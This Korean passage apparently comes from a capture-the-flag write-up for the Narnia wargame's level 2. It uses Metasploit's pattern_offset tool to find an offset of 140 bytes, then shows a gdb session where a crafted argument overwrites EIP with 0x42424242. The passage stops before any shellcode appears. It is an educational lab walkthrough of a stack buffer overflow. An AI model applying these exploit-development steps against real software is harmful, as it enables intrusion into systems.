출력 결과로 0x37654136이 나왔는데, 정확한 값을 찾으려면 원본 문자열을 살펴봐야 한다. 메타스플로이트의 pattern_offset.rb를 사용해 세그멘테이션 오류를 유발한 정확한 바이트 수를 찾을 수 있다.
# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb 0x37654136
[*] Exact match at offset 140
이 결과를 보면, EIP는 140글자 이후부터 제어할 수 있다. 이를 확인하려고 140바이트 입력 값으로 narnia2를 실행하면, 추가 4바이트로 EIP를 덮어쓸 수 있어야 한다. 디버거를 사용해 메모리 안에서 무슨 일이 벌어지는지 살펴보자.
처리 방법과 결과는 다음과 같다.
narnia2@melinda:~$ cd /narnia
narnia2@melinda:/narnia$ gdb ./narnia2 -q
Reading symbols from ./narnia2...(no debugging symbols found)...done.
(gdb) run `python -c 'print "A" * 140 + "B" * 4'`
Starting program: /games/narnia/narnia2 `python -c 'print "A" * 140 + "B" * 4'`
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) info registers
eax 0x0 0 ecx 0x0 0 edx 0xf7fcb898 -134432616 ebx 0xf7fca000 -134438912 esp 0xffffd650 0xffffd650 ebp 0x41414141 0x41414141 esi 0x0 0 edi 0x0 0 eip 0x42424242 0x42424242